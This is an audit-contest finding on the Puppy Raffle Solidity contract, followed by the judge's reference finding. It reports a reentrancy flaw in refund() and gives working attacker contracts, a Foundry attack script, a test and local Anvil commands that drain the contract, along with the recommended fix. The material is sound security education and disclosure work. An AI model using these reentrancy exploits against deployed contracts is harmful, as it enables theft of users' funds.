Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in refund() allows attacker to drain the entire contract balance

Severity: High
Likelihood: High
Impact: High

Description

The refund() function violates the Checks-Effects-Interactions (CEI) pattern. It sends ETH to msg.sender on line 101 before zeroing out the player's slot in the players array on line 103. This ordering allows a malicious contract to re-enter refund() in its receive() fallback during the ETH transfer, calling it repeatedly before their slot is ever cleared — draining the contract of all funds.

// src/PuppyRaffle.sol#L96-L105
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // <-- ETH sent FIRST
players[playerIndex] = address(0); // <-- slot cleared AFTER (too late)
emit RaffleRefunded(playerAddress);
}

Impact

An attacker who has entered the raffle can repeatedly call refund() from a malicious contract, receiving the entranceFee on every re-entry iteration until the entire contract balance is drained. Every legitimate player loses their deposited ETH. The protocol is completely emptied in a single transaction.

Proof of Concept

The attack was verified live on a local Anvil node. Two deployable contracts power the exploit:

1. Attacker contract (src/ReentrancyAttacker.sol) — the malicious trap that re-enters refund() on every ETH receive:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract ReentrancyAttacker {
PuppyRaffle public raffle;
uint256 public attackerIndex;
uint256 public entranceFee;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
entranceFee = raffle.entranceFee();
}
// Step 1: enter the raffle then trigger the first refund
function attack() external payable {
require(msg.value == entranceFee, "Send exactly 1 entrance fee");
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: entranceFee}(players);
attackerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(attackerIndex);
}
// Step 2: every time ETH arrives, re-enter refund() before name is cleared
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackerIndex);
}
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

2. Attack script (script/AttackReentrancy.sol) — deploys the attacker and executes the drain in two on-chain transactions:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {Script, console} from "forge-std/Script.sol";
import {ReentrancyAttacker} from "../src/ReentrancyAttacker.sol";
contract AttackReentrancy is Script {
function run(address puppyRaffleAddress) external payable {
uint256 attackerPrivateKey = vm.envUint("ATTACKER_KEY");
vm.startBroadcast(attackerPrivateKey);
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffleAddress);
attacker.attack{value: 1 ether}();
vm.stopBroadcast();
console.log("Contract ETH left :", puppyRaffleAddress.balance);
console.log("Attacker ETH stolen:", address(attacker).balance);
}
}

3. Forge unit test (test/PuppyRaffleTest.t.sol) — automated proof with balance assertions:

function test_reentrancyRefundDrainsContract() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
uint256 contractBalanceBefore = address(puppyRaffle).balance; // 4 ETH
ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
vm.deal(address(attacker), entranceFee);
attacker.attack();
assertEq(address(puppyRaffle).balance, 0); // contract drained
assertEq(attacker.getBalance(), contractBalanceBefore + entranceFee); // attacker holds 5 ETH
}

To reproduce on a local Anvil node:

# Terminal 1
anvil
# Terminal 2 — deploy raffle, have 4 players enter, then run the attack
forge script script/DeployPuppyRaffle.sol:DeployPuppyRaffle --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --broadcast
export CONTRACT=<deployed address from above>
cast send $CONTRACT "enterRaffle(address[])" "[0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC,0x90F79bf6EB2c4f870365E785982E1f101E93b906,0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65,0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc]" --value 4000000000000000000 --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
# Contract now holds 4 ETH — run the attack
export ATTACKER_KEY=0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e
forge script script/AttackReentrancy.sol:AttackReentrancy --sig "run(address)" $CONTRACT --rpc-url http://127.0.0.1:8545 --private-key $ATTACKER_KEY --broadcast
# Verify drain
cast balance $CONTRACT --rpc-url http://127.0.0.1:8545 --ether
# Expected: 0.000000000000000000

Observed on-chain results:


Before Attack After Attack
PuppyRaffle balance 4 ETH (4 honest players) 0 ETH
Attacker contract (0x7ef8...174B) 0 ETH 5 ETH (stole all funds)
Forge test result [PASS] test_reentrancyRefundDrainsContract()

The attack executes in 2 transactions: one to deploy the attacker contract, one to trigger the recursive drain — all before selectWinner() can ever run.

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern: zero out the player's slot before sending ETH.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0); // effect first
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee); // interaction last
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}

Alternatively, add OpenZeppelin's ReentrancyGuard and apply the nonReentrant modifier:

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
function refund(uint256 playerIndex) public nonReentrant { ... }
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!